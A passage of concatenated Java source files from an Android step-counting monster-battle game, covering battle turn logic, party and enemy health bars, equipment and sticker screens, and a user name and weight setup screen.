100); monsterStep.setLayoutParams(relLayoutParamTxtStep); txt.setLayoutParams(relLayoutParamTxt); imgView.setLayoutParams(relLayoutParamImg); progBar.setLayoutParams(relLayoutParamProg); progBar.setProgress((battleMonster.currentHp * 100 / battleMonster.hp)); relLayout.addView(monsterStep); relLayout.addView(txt); relLayout.addView(imgView); relLayout.addView(progBar); enemyProgressBarList.add(progBar); Log.d("size", "size of list is" + enemyProgressBarList.size()); int resId = getResources().getIdentifier("body" + battleMonster.monster.monsterId, "drawable", getActivity().getPackageName()); if (resId != 0) { imgView.setImageResource(resId); } else { imgView.setImageResource(R.drawable.ic_launcher); } } else { enemyMonsterStepCounters[i] = null; } } } /** * Creates a new view of the user's party when they first load the run */ private void createPartyMonsters() { playerMonsterStepCounters = new TextView[5]; playerPartyLayout.removeAllViews(); playerMonsterImage = new ArrayList<ImageView>(); for (int i = 0; i < BattleInfo.partyMonsterBattleList.size(); i++) { RelativeLayout relLayout = new RelativeLayout(getActivity()); LinearLayout.LayoutParams linLayoutParam = new LinearLayout.LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT, 1f); relLayout.setLayoutParams(linLayoutParam); RelativeLayout.LayoutParams relLayoutParamTxt = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT,ViewGroup.LayoutParams.WRAP_CONTENT); RelativeLayout.LayoutParams relLayoutParamImg = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT,ViewGroup.LayoutParams.WRAP_CONTENT); RelativeLayout.LayoutParams relLayoutParamProg = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT,ViewGroup.LayoutParams.WRAP_CONTENT); //RelativeLayout.LayoutParams relLayoutParamTxtStep = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT,ViewGroup.LayoutParams.WRAP_CONTENT); relLayoutParamProg.addRule(RelativeLayout.CENTER_HORIZONTAL); relLayoutParamImg.addRule(RelativeLayout.CENTER_HORIZONTAL); relLayoutParamTxt.addRule(RelativeLayout.CENTER_HORIZONTAL); // Assign ui id for monsters TextView txt = new TextView(getActivity()); txt.setId((i + 10)); ImageView imgView = new ImageView(getActivity()); playerMonsterImage.add(imgView); imgView.setId((i + 1) * 11 ); TextView monsterStep = new TextView(getActivity()); // assigns text txt.setTextColor(Color.BLACK); txt.setGravity(Gravity.CENTER); txt.setTypeface(null, Typeface.BOLD); //monsterStep.setTextColor(Color.BLACK); //monsterStep.setGravity(Gravity.CENTER); // assigns the rule for pictures relLayoutParamImg.addRule(RelativeLayout.BELOW, (i + 10)); txt.setLayoutParams(relLayoutParamTxt); imgView.setLayoutParams(relLayoutParamImg); relLayout.addView(txt); relLayout.addView(imgView); BattleMonster battleMonster = BattleInfo.partyMonsterBattleList.get(i); if (battleMonster == null) { txt.setText(""); //monsterStep.setText("this does work!"); imgView.setBackgroundResource(R.drawable.colorworld); playerProgressBarList[i] = null; playerMonsterStepCounters[i] = null; } else { // setup real monsters, only creates progress bar if real monster exists ProgressBar progBar = new ProgressBar(getActivity(),null,android.R.attr.progressBarStyleHorizontal); progBar.setId((i + 1) * 101); progBar.setProgress(battleMonster.currentHp * 100 / battleMonster.hp); int toGo = battleMonster.step - (BattleInfo.battleSteps % battleMonster.step); txt.setText("" + toGo); playerMonsterStepCounters[i] = txt; int resId = getResources().getIdentifier("head" + battleMonster.monster.monsterId, "drawable", getActivity().getPackageName()); Log.d("imageId", battleMonster.monster.name + " id is: " + battleMonster.monster.monsterId + " id got was: " + resId); if (resId != 0) { imgView.setBackgroundResource(resId);; } else { imgView.setBackgroundResource(R.drawable.ic_launcher); } progBar.setLayoutParams(relLayoutParamProg); // positions the progress bar relLayoutParamProg.addRule(RelativeLayout.BELOW, (i + 1) * 11); relLayout.addView(progBar); playerProgressBarList[i] = progBar; } playerPartyLayout.addView(relLayout); } } /** * Updates the user's monster's hp bar whenever they get hit either when the user * first opens the background or when the app is open on the screen and the * user walks */ private void updatePlayerMonsterHealth() { BackgroundChecker.playerMonsterWasAttacked = false; for (int i = 0; i < BattleInfo.partyMonsterBattleList.size(); i++) { BattleMonster battleMonster = BattleInfo.partyMonsterBattleList.get(i); if (battleMonster != null) { playerProgressBarList[i].setProgress(battleMonster.currentHp * 100 / battleMonster.hp); if (battleMonster.currentHp <= 0) { playerMonsterStepCounters[i].setText(""); } } } } /** * Updates the enemies hp bar whenever they get hit either when the user * first opens the background or when the app is open on the screen and the * user walks */ private void updateMonsterHealth() { BackgroundChecker.monsterWasAttacked = false; for (int i = 0; i < BattleInfo.enemyMonsterBattleList.size(); i++) { BattleMonster battleMonster = BattleInfo.enemyMonsterBattleList.get(i); if (battleMonster != null) { enemyProgressBarList.get(i).setProgress(battleMonster.currentHp * 100 / battleMonster.hp); if (battleMonster.currentHp <= 0) { enemyMonsterStepCounters[i].setText(""); } } } } /** * Binds this fragment to the service allowing access to the functions * that the service has */ private ServiceConnection mConnection = new ServiceConnection() { @Override public void onServiceConnected(ComponentName name, IBinder service) { Log.d("disconnect", "on service connected"); BackgroundChecker.boundStepService = true; } @Override public void onServiceDisconnected(ComponentName name) { BackgroundChecker.boundStepService = false; Log.d("disconnect", "disconnect on close"); } }; /** * Receives calls from the StepService every time the service sends one to the user * note: only happens when the user is in the foreground */ private BroadcastReceiver broadcastReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent newIntent) { //Log.d("disconnect", "added new steps " + BattleInfo.steps); updateRunningStats(); updateUI(); // TODO might need to do something to update the monster's ui } }; private void updateRunningStats() { steps = BattleInfo.steps; tvPace.setText("steps: " + steps); tvDistance.setText("" + (double) Math.round(BattleInfo.distance * 100) / 100); tvCoin.setText("" + BattleInfo.coins + " coin"); int monstersToGo = BattleInfo.destinationObjective - BattleInfo.fightObjective; // TODO not very efficient as we have to recalculate forever if (monstersToGo <= 0) { monsterSet.setText("Arrived at destination"); } else { monsterSet.setText("" + monstersToGo + " More Sets"); } // TODO improve the calculation by letting the user save their weight and height tvCalories.setText("" + Math.round(BattleInfo.calories * 100) / 100); } } <file_sep>/worldrunner/src/com/brnleehng/worldrunner/ExceptionActivity.java package com.brnleehng.worldrunner; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.widget.TextView; public class ExceptionActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.exception_activity); Intent intent = getIntent(); String log = intent.getStringExtra("exception"); TextView tv = (TextView) findViewById(R.id.crashLog); tv.setText(log); } } <file_sep>/worldrunner/src/Items/EquipEquipment.java package Items; import java.util.ArrayList; import DB.DBManager; import DB.Model.Equipment; import Items.Adapters.EquipmentAdapter; import android.app.Fragment; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.GridView; import android.widget.Toast; import android.widget.AdapterView.OnItemClickListener; import com.brnleehng.worldrunner.Hub; import com.brnleehng.worldrunner.R; /** * Equip equipments. Refer to Equip Sticker for almost exact same documentation. * Not used */ public class EquipEquipment extends Fragment { GridView gridview; ArrayList<Equipment> categoryEquipment; ArrayList<Equipment> equippedEquipment; Equipment currentEquipment; int currentCategory; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreate(savedInstanceState); View view = inflater.inflate(R.layout.viewitems_activity, container, false); final DBManager db = new DBManager(getActivity()); // get whatever category that the user decides to change currentEquipment = Hub.getCurrentEquipment(); currentCategory = Hub.getCurrentCategory(); categoryEquipment = db.getEquipmentCategory(currentCategory); equippedEquipment = Hub.getEquippedEquipment(); final EquipmentAdapter adapter = new EquipmentAdapter(getActivity(), R.layout.mylist, categoryEquipment); gridview = (GridView) view.findViewById(R.id.viewGridView); gridview.setAdapter(adapter); gridview.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { // gets the user's selected equipment Equipment newEquipment = adapter.getItem(position); // updates the equipment list if (currentEquipment != null) { // maybe instead of removing the list itself, just call set and remove methods? equippedEquipment.remove(currentEquipment); currentEquipment.setEquipped("0"); // instead of relying on database for everything, maybe store it all locally and then send it once it's ready db.updateEquipment(currentEquipment); } newEquipment.setEquipped("1"); equippedEquipment.add(newEquipment); Hub.setEquippedEquipment(equippedEquipment); // TODO - Still need to save everything to the DB, simple loop update db.updateEquipment(newEquipment); Hub.equipItems(); //Goes back to equipped page. } }); return view; } } <file_sep>/worldrunner/src/intro/NameRequest.java package intro; import com.brnleehng.worldrunner.R; import DB.DBManager; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.NumberPicker; import android.widget.Toast; public class NameRequest extends Activity { private EditText editText; private NumberPicker weight; private NumberPicker feet; private NumberPicker inch; private SharedPreferences pref; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.name_request_activity); editText = (EditText) findViewById(R.id.nameEditText); // TODO for my sanity editText.setText("todo get rid of me"); Button button = (Button) findViewById(R.id.nameButton); pref = getApplication().getSharedPreferences("MonsterColorRun", Context.MODE_PRIVATE); weight = (NumberPicker) findViewById(R.id.weightPicker); weight.setMinValue(50); weight.setMaxValue(400); feet= (NumberPicker) findViewById(R.id.feetPicker); feet.setMinValue(3); feet.setMaxValue(8); inch = (NumberPicker) findViewById(R.id.inchPicker); inch.setMinValue(0); inch.setMaxValue(11); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String username = editText.getText().toString(); if (!username.isEmpty()) { DBManager db = new DBManager(getApplicationContext()); db.close(); SharedPreferences.Editor editor = pref.edit(); editor.putInt(getString(R.string.weight), weight.getValue()); editor.putInt(getString(R.string.feet), feet.getValue()); editor.putInt(getString(R.string.inch), inch.getValue()); editor.commit(); Intent intent = new Intent(getApplicationContext(), SelectMonster.class); intent.putExtra("username", username); startActivity(intent); } else { Toast.makeText(getApplicationContext(), "Please enter a username", Toast.LENGTH_SHORT).show(); } } }); } } <file_sep>/worldrunner/src/Items/ViewEquipment.java package Items; import java.util.ArrayList; import java.util.List; import com.brnleehng.worldrunner.Hub; import com.brnleehng.worldrunner.R; import DB.Model.Equipment; import Items.Adapters.EquipmentAdapter; import android.app.Fragment; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.AdapterView.OnItemClickListener; import android.widget.Adapter; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.GridView; import android.widget.ListView; import android.widget.Toast; /** * Not used anymore * @author JoshDesktop * */ public class ViewEquipment extends Fragment { GridView listview; ArrayList<Equipment> equipments; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreate(savedInstanceState); View view = inflater.inflate(R.layout.viewitems_activity, container, false); equipments = Hub.getEquipment(); EquipmentAdapter adapter = new EquipmentAdapter(getActivity(), R.layout.mylist, equipments); listview = (GridView) view.findViewById(R.id.viewGridView); listview.setAdapter(adapter); listview.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { String SelectedItem = equipments.get(position).getName(); Toast.makeText(getActivity().getApplicationContext(), SelectedItem, Toast.LENGTH_SHORT).show(); } }); return view; } } <file_sep>/worldrunner/src/DB/Model/MapGraph.java package DB.Model; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; import java.util.Scanner; import metaModel.City; import metaModel.Dungeon; import metaModel.Route; import android.util.Log; import android.util.SparseArray; /* * Reads and creates the map to be used in the game as the player travels * from city to city */ public class MapGraph { /* private static SparseArray<City> graph; private static SparseArray<Route> cityToRoutes; public static void createGraph() { graph = new SparseArray<City>(); *//** City city1 = new City(1); City city2 = new City(2); Route route1 = new Route(1, 1, 2); Route route2 = new Route(1, 2, 1); city1.routes.add(route1); city2.routes.add(route2); graph.put(city1.cityID, city1); graph.put(city2.cityID, city2); **//* //constructGraph(); } public static ArrayList<Integer> nearbyCities(int currentCityId) { ArrayList<Integer> list = new ArrayList<Integer>(); City currentCity = graph.get(currentCityId); for (Route route : currentCity.routes) { list.add(route.to); } return list; } public static void constructGraph(ArrayList<City> cities, ArrayList<Route> routes, ArrayList<Dungeon> dungeons) { }*/ // TODO commenting ends here /* private void constructGraph() { try { Scanner scanner = new Scanner(new File("src/Path.txt")); String line; while (scanner.hasNext()) { line = scanner.nextLine(); String[] nodes = line.split(":"); String[] paths = nodes[1].split(","); for (int i = 0; i < paths.length; i++) { graph.put(Integer.parseInt(nodes[0]), value); } } scanner.close(); } catch (IOException exception) { Log.d("FILE READING Error!", exception.getLocalizedMessage()); } }*/ } <file_sep>/worldrunner/src/com/brnleehng/worldrunner/FreeRun.java package com.brnleehng.worldrunner; import java.util.ArrayList; import step.detector.SimpleStepDetector; import step.detector.StepListener; import DB.DBManager; import DB.Model.BattleMonster; import DB.Model.Monster; import android.app.Dialog; import android.app.Fragment; import android.content.Context; import android.graphics.Color; import android.hardware.Sensor; import android.hardware.SensorEvent; import android.hardware.SensorEventListener; import android.hardware.SensorManager; import android.os.Bundle; import android.os.Handler; import android.os.SystemClock; import android.util.Log; import android.view.Gravity; import android.view.LayoutInflater; import android.view.View; import android.view.View.OnClickListener; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.Chronometer; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.ListView; import android.widget.ProgressBar; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Chronometer.OnChronometerTickListener; import android.widget.LinearLayout.LayoutParams; import android.widget.Toast; public class FreeRun extends Run { public FreeRun() { } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreate(savedInstanceState); View view = inflateFragment(R.layout.routeingame_activity, inflater, container); return view; } @Override public Button setFinishButton(Button stopMission) { // TODO for super class, pass in a function that can be overwrited stopMission.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // TODO add sticker and then once we move out, we would re-load the // the sticker list db.addStickers(found); found.clear(); Hub.backToCity(); } }); return stopMission; } } <file_sep>/worldrunner/src/battleHelper/BattleInfo.java package battleHelper; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Map.Entry; import com.brnleehng.worldrunner.Hub; import util.BattleHelper; import Abilities.Buff; import Abilities.DamageAbility; import Abilities.DamageAllAbility; import Abilities.SupportAbility; import DB.DBManager; import DB.Model.BattleMonster; import DB.Model.Monster; import android.app.Dialog; import android.content.Intent; import android.util.Log; public class BattleInfo { public static final String PREF_NAME = "BattleInfo"; Intent intent; public static int exp; // list of stickers that were found, temporarily changed to be a list // of monsters public static ArrayList<Monster> found; // calculate running metrics public static int steps; public static long countUp; public static double distance; public static int coins; public static int iPartyAttacked; public static int battleSteps; public static long currentTime; public static int currentStep; public static double calories; public static int destinationObjective = 3; // shouldn't have since the DB technically should only be accessed via // the controller (Hub), but we'll just have it here anyways for now private DBManager db; //For logging purposes public static ArrayList<String> list = new ArrayList<String>(); // list of messages that are used to display the progress // made in the game. You just add it into an adapter and it'll do everything for you //private List<String> list; //Sets the list of monsters for various purposes public static ArrayList<Monster> monsterList; public static ArrayList<Monster> partyList; public static ArrayList<BattleMonster> partyMonsterBattleList; public static ArrayList<BattleMonster> enemyMonsterBattleList; //Shows the player's log public static Dialog showLog; public static int partyMonstersSize; // Player public static int deadPartyMonsters; // Enemy public static int deadEnemies; //Sets amount of enemies public static int enemyPartySize; //Sets how many monsters are needed to be beaten public static int fightObjective; //Sets if the finish button can be used public static boolean finishEnabled = false; public static boolean caughtAlready = false; /** * Should only be called at the start of a battle and never again * anywhere else */ public static void combatStart() { if (!BackgroundChecker.battleStarted) { // ensures that method can't be called again BackgroundChecker.battleStarted = true; // initialize fields partyList = Hub.equippedStickers; partyMonsterBattleList = new ArrayList<BattleMonster>(); enemyMonsterBattleList = new ArrayList<BattleMonster>(); // TODO what's the best way to add the stickers in? /*enemyProgressBarList = new ArrayList<ProgressBar>(); playerProgressBarList = new ProgressBar[5];*/ deadPartyMonsters = 0; deadEnemies = 0; enemyPartySize = 0; partyMonstersSize = 0; steps = 0; distance = 0; coins = 0; countUp = 0; battleSteps = 0; exp = 0; fightObjective = 0; currentTime = System.currentTimeMillis(); currentStep = 0; calories = 0; finishEnabled = false; caughtAlready = false; found = new ArrayList<Monster>(); generateEnemies(); generateParty(); } } // only calls this when the battle finishes otherwise you can't start // a new combat session and the game will crash // good time to null and get rid of unnecessary variables public static void combatFinish() { if (BackgroundChecker.battleStarted) { found.clear(); // TODO probably source of null pointer exception, to be discovered //found = null; BackgroundChecker.finish(); //BackgroundChecker.battleStarted = false; } } /** * Creates a list of new monsters to fight with */ public static void generateEnemies() { // resets conditions for UI the battle logic BackgroundChecker.finishedCurrentBattle = true; battleSteps = 0; BackgroundChecker.newEnemies = true; BackgroundChecker.monsterWasAttacked = false; caughtAlready = false; deadEnemies = 0; enemyPartySize = (int) ((Math.random() * 3) + 1); // originally 3 and 1 Log.d("size of enemy", "generated " + enemyPartySize); // TODO remove if (list.size() < 100) list.add("new enemy party with " + enemyPartySize + " monsters"); enemyMonsterBattleList.clear(); //Creates the monsters and adds the UI elements for them for (int i = 0; i < enemyPartySize; i++) { int monsterGen = (int) (Math.random() * Hub.enemyList.size()); enemyMonsterBattleList.add(new BattleMonster(Hub.enemyList.get(monsterGen))); Log.d("enemy health", "current: " + enemyMonsterBattleList.get(i).currentHp + " max: " + enemyMonsterBattleList.get(i).hp); } } /** * Generates the player's party */ private static void generateParty() { // sets ui flags BackgroundChecker.playerMonsterWasAttacked = false; //partyMonsterBattleList.clear(); partyMonsterBattleList = new ArrayList<BattleMonster>(); for (int i = 0; i < partyList.size(); i++) { if (partyList.get(i) == null) { partyMonsterBattleList.add(null); } else { partyMonstersSize++; partyMonsterBattleList.add(new BattleMonster(partyList.get(i), true)); } } } /** * The enemy attacks the users. In the event that the player monster dies. * Their steps and abilities are restarted */ public static void enemyTurn() { for (int i = 0; i < enemyPartySize; i++) { //Attacks Regularly if (enemyMonsterBattleList.get(i).currentHp > 0) { if (battleSteps % enemyMonsterBattleList.get(i).step == 0) { iPartyAttacked = BattleHelper.AIAttack(enemyMonsterBattleList.get(i), partyMonsterBattleList); if (iPartyAttacked == -1) { throw new Error("attacked index is -1 for attacking user party, impossible!"); } // for ui update BackgroundChecker.playerMonsterWasAttacked = true; partyMonsterBattleList.get(iPartyAttacked).currentHp -= BattleHelper.Attack(enemyMonsterBattleList.get(i), partyMonsterBattleList.get(iPartyAttacked)); // TODO remove if (list.size() < 100) list.add("Enemy " + enemyMonsterBattleList.get(i).monster.name + " Attacks " + partyMonsterBattleList.get(iPartyAttacked).monster.name + " For " + BattleHelper.Attack(enemyMonsterBattleList.get(i), partyMonsterBattleList.get(iPartyAttacked))); if (partyMonsterBattleList.get(iPartyAttacked).currentHp <= 0) { deadPartyMonsters++; if (deadPartyMonsters >= partyMonstersSize) { //Entire Party is dead, resurrect them and change monsters reviveParty(partyMonsterBattleList.size()); generateEnemies(); return; } } } } } } /** * Player monsters attack the enemies. If the enemies are killed they have * to start over in the attacking steps, but retains ability steps */ public static void playerTurn() { if (partyMonsterBattleList == null) { Log.d("random crash", "partyMonsterBattleList is null"); Log.d("random crash", "finished current battle status: " + BackgroundChecker.finishedCurrentBattle); Log.d("random crash", "has the combat started? " + BackgroundChecker.battleStarted); Log.d("random crash", "was the monster attacked? " + BackgroundChecker.monsterWasAttacked); Log.d("random crash", "was the player monster attacked? " + BackgroundChecker.playerMonsterWasAttacked); Log.d("random crash", "was in the background? " + BackgroundChecker.isBackground); Log.d("random crash", "Are there now new enemies? " + BackgroundChecker.newEnemies); Log.d("random crash", "number of steps " + steps); if (partyList == null) { Log.d("random crash", "partyList is null"); } else { Log.d("random crash", "partyList is not null"); } List<Monster> list = Hub.partyList; if (list != null) { Log.d("random crash", "Hub partyList is null"); } else { Log.d("random crash", "Hub partyList is not null"); } } for (int i = 0; i < partyMonsterBattleList.size(); i++) { if (partyMonsterBattleList.get(i) != null && partyMonsterBattleList.get(i).currentHp > 0) { if (battleSteps % partyMonsterBattleList.get(i).step == 0) { partyMonsterBattleList.get(i).abilityStep--; BackgroundChecker.monsterWasAttacked = true; int iEnemyAttacked = BattleHelper.AIAttack(partyMonsterBattleList.get(i), enemyMonsterBattleList); Log.d("fight size", "size of enemy is: " + enemyMonsterBattleList.size() + " size of user party is: " + partyMonsterBattleList.size()); Log.d("index attack", "attack index is: " + iEnemyAttacked + " alive enemey is: " + deadEnemies); if (iEnemyAttacked == -1) { generateEnemies(); return; //throw new Error("attacked index is -1 when attacking enemies with attack, impossible!"); } double damage = BattleHelper.Attack(partyMonsterBattleList.get(i), enemyMonsterBattleList.get(iEnemyAttacked)); enemyMonsterBattleList.get(iEnemyAttacked).currentHp -= damage; // TODO remove if (list.size() < 10) list.add(partyMonsterBattleList.get(i).monster.name + " Attacks " + enemyMonsterBattleList.get(iEnemyAttacked).monster.name + " For " + damage + "!"); Iterator iterator = partyMonsterBattleList.get(i).buffs.entrySet().iterator(); // decrease buff of monsters while (iterator.hasNext()) { Map.Entry<Integer, Buff> pair = (Entry<Integer, Buff>) iterator.next(); int attribute = pair.getKey(); Buff buff = pair.getValue(); buff.duration--; Log.d("duration", "" + partyMonsterBattleList.get(i).monster.name + " buff " + buff.name + " has duration " + buff.duration); //Check if above code actually decreases if (buff.duration <= 0) { // important to be after, because recalculate checks for the attribute key if (attribute == 3) { partyMonsterBattleList.get(i).RecalculateSpeed(); } iterator.remove(); //partyBattleList.get(i).buffs.remove(iterator); } } checkEnemyDead(iEnemyAttacked); if (BackgroundChecker.finishedCurrentBattle) return; } } } } /** * Player uses their party's abilities. If they win, their steps get restarted * but maintains their ability step * 1) Damage all * 2) Support */ public static void playerAbilityTurn() { for (int i = 0; i < partyMonsterBattleList.size(); i++) { if (partyMonsterBattleList.get(i) != null && partyMonsterBattleList.get(i).currentHp > 0) { if (partyMonsterBattleList.get(i).abilityStep < 0) { partyMonsterBattleList.get(i).resetAbilityStep(); //Applies ability to attack enemy if (partyMonsterBattleList.get(i).monster.activeAbility.getClass() == DamageAllAbility.class) { BackgroundChecker.monsterWasAttacked = true; //int iEnemyAttack = BattleHelper.AIAttack(partyMonsterBattleList.get(i), enemyMonsterBattleList); DamageAllAbility dAbility = (DamageAllAbility) partyMonsterBattleList.get(i).monster.activeAbility; double damage = dAbility.damage * partyMonsterBattleList.get(i).monster.attack; for (int j = 0; j < enemyMonsterBattleList.size(); j++) { BattleMonster monster = enemyMonsterBattleList.get(j); if (monster != null) { monster.currentHp -= damage; checkEnemyDead(j); if (BackgroundChecker.finishedCurrentBattle) return; } } // list.add(partyMonsterBattleList.get(i).monster.name + " Used Ability " + partyMonsterBattleList.get(i).monster.ability.name + // " For " + damage + "!"); } else if (partyMonsterBattleList.get(i).monster.activeAbility.getClass() == SupportAbility.class) { //Applies party buffs SupportAbility support = (SupportAbility)partyMonsterBattleList.get(i).monster.activeAbility; for (int b = 0; b < partyMonsterBattleList.size(); b++) { if (partyMonsterBattleList.get(b) != null) { Buff newBuff = new Buff(support.name, support.description, support.duration, support.attribute, support.modifier); partyMonsterBattleList.get(b).buffs.put(support.attribute, newBuff); if (support.attribute == 3) { partyMonsterBattleList.get(b).RecalculateSpeed(); Log.d("Speed","New Speed Calculated for : " + partyMonsterBattleList.get(b).monster.name + " is " + partyMonsterBattleList.get(b).step + " duration is: " + partyMonsterBattleList.get(b).buffs.get(3).duration); } } } // list.add(partyMonsterBattleList.get(i).monster.name + " Used Ability " + partyMonsterBattleList.get(i).monster.ability.name + "!"); } else if (partyMonsterBattleList.get(i).monster.activeAbility.getClass() == DamageAbility.class) { BackgroundChecker.monsterWasAttacked = true; int iEnemyAttack = BattleHelper.AIAttack(partyMonsterBattleList.get(i), enemyMonsterBattleList); if (iEnemyAttack == -1) { throw new Error("Damage ability attack index is -1, impossible!"); } DamageAbility dAbility = (DamageAbility) partyMonsterBattleList.get(i).monster.activeAbility; double damage = dAbility.damage * partyMonsterBattleList.get(i).monster.attack; enemyMonsterBattleList.get(iEnemyAttack).currentHp -= damage; // list.add(partyMonsterBattleList.get(i).monster.name + " Used Ability " + partyMonsterBattleList.get(i).monster.ability.name + // " For " + damage + "!"); //Checks if all enemies are dead checkEnemyDead(iEnemyAttack); } if (BackgroundChecker.finishedCurrentBattle) return; } } } } /** * Brings the party back to life reseting all of their hp and ability steps * @param size - the size of the party list (always 5) */ private static void reviveParty(int size) { deadPartyMonsters = 0; BackgroundChecker.finishedCurrentBattle = true; // TODO issue because they can attack again immediately? battleSteps = 0; // TODO remove if (list.size() < 100) list.add("Your party was wiped"); for (int i = 0; i < size; i++) { if (partyMonsterBattleList.get(i) != null) { partyMonsterBattleList.get(i).resetHp(); partyMonsterBattleList.get(i).resetAbilityStep(); } } } private static void checkEnemyDead(int iPartyAttack) { Log.d("into check", "checking if " + enemyMonsterBattleList.get(iPartyAttack).monster.name + " is dead"); if (enemyMonsterBattleList.get(iPartyAttack).currentHp <= 0) { Log.d("dead check", enemyMonsterBattleList.get(iPartyAttack).monster.name + " is dead"); // TODO add to other exp += enemyMonsterBattleList.get(iPartyAttack).monster.exp * enemyMonsterBattleList.get(iPartyAttack).monster.level / 2; Log.d("monster defeat", "defeated enemy gained " + enemyMonsterBattleList.get(iPartyAttack).monster.exp + " at level " + enemyMonsterBattleList.get(iPartyAttack).monster.level); //list.add(enemyMonsterBattleList.get(iPartyAttack).monster.name + " has been defeated!"); deadEnemies++; captureMonster(iPartyAttack); checkEnemyMonsterAllDead(); } } private static void captureMonster(int iPartyAttack) { //if (!caughtAlready && (double) ((Math.random() * 100.0) + 1) > enemyMonsterBattleList.get(iPartyAttack).monster.capture) { Log.d("capture monster", "caught " + enemyMonsterBattleList.get(iPartyAttack).monster.name ); // TODO remove if (found.size() < 10) { if (list.size() < 10) list.add(enemyMonsterBattleList.get(iPartyAttack).monster.name + " has been captured!"); found.add(enemyMonsterBattleList.get(iPartyAttack).monster); } caughtAlready = true; //} } private static void checkEnemyMonsterAllDead() { if (deadEnemies >= enemyPartySize) { // TODO remove if (list.size() < 100) list.add("Defeated all enemies"); fightObjective++; if (fightObjective >= destinationObjective) { finishEnabled = true; } generateEnemies(); } } } <file_sep>/worldrunner/src/Items/Adapters/EquipmentViewAdapter.java package Items.Adapters; import java.util.ArrayList; import java.util.List; import com.brnleehng.worldrunner.R; import android.app.Activity; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.ImageView; import android.widget.TextView; // Not Used? public class EquipmentViewAdapter extends ArrayAdapter<String> { private final Activity context; private final String[] itemname; private final List<String> list; public EquipmentViewAdapter(Activity context, String[] itemname, ArrayList<String> list) { super(context, R.layout.mylist, list); // TODO Auto-generated constructor stub this.context = context; this.itemname = itemname; this.list = list; } @Override public View getView(int position,View view,ViewGroup parent) { View rowView = view; if (rowView == null) { LayoutInflater inflater = context.getLayoutInflater(); rowView = inflater.inflate(R.layout.mylist, null); } //TextView txtTitle = (TextView) rowView.findViewById(R.id.item); ImageView imageView = (ImageView) rowView.findViewById(R.id.icon); //TextView lvl = (TextView) rowView.findViewById(R.id.textView1); //TextView spd = (TextView) rowView.findViewById(R.id.textView2); //TextView rch = (TextView) rowView.findViewById(R.id.textView3); //txtTitle.setText(itemname[position]); //@todo get data from array list or 2D array imageView.setImageResource(R.drawable.ic_launcher); // have the pictured ordered correctly //lvl.setText("lvl: " + list.get(position)); //spd.setText("lvl: " + list.get(position)); //rch.setText("lvl: " + list.get(position)); return rowView; } public void delete(int position) { list.remove(position); } }<file_sep>/worldrunner/src/step/detector/StepListener.java package step.detector; /** * Created by JoshDesktop on 2/12/2015. */ public interface StepListener { /** * Called when a step has been detected. Given the time in nanoseconds at * which the step was detected. */ public void step(long timeNs); }<file_sep>/worldrunner/src/Items/EquipSticker.java package Items; import java.util.ArrayList; import java.util.List; import util.TutorialTest; import DB.DBManager; import DB.Model.Equipment; import DB.Model.Monster; import DB.Model.Sticker; import Items.Adapters.StickerAdapter; import android.app.DialogFragment; import android.app.Fragment; import android.content.Context; import android.content.SharedPreferences; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.GridView; import android.widget.AdapterView.OnItemClickListener; import android.widget.Toast; import com.brnleehng.worldrunner.Hub; import com.brnleehng.worldrunner.R; import com.brnleehng.worldrunner.RunLogDialog; import com.github.amlcurran.showcaseview.ShowcaseView; import com.github.amlcurran.showcaseview.targets.ViewTarget; /** * Fragment to equip stickers. Very similar to EquipEquipment */ public class EquipSticker extends Fragment { GridView gridview; List<Monster> unequippedMonsters; ArrayList<Monster> equippedMonsters; Monster currentSticker; int currentPosition; private boolean firstTime; private SharedPreferences pref; private ShowcaseView showPickMonster; /** * Creates the sticker equipment screen. Allows user to equip any stickers that * aren't already equipped. Shows stickers via custom adapter */ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreate(savedInstanceState); View view = inflater.inflate(R.layout.viewitems_activity, container, false); final DBManager db = new DBManager(getActivity()); // get whatever category that the user decides to change currentSticker = Hub.currentSticker; currentPosition = Hub.currentStickerPosition; // TODO this is a ui thing we have to just organize the stickers // Note: the first value is set to be null so that we can make the remove // button in the gridview. unequippedMonsters = Hub.unequippedMonster; // TODO temp that needs to be replace soon equippedMonsters = Hub.equippedStickers; //equippedSticker = Hub.equippedStickers; final StickerAdapter adapter = new StickerAdapter(getActivity(), R.layout.mylist, unequippedMonsters); 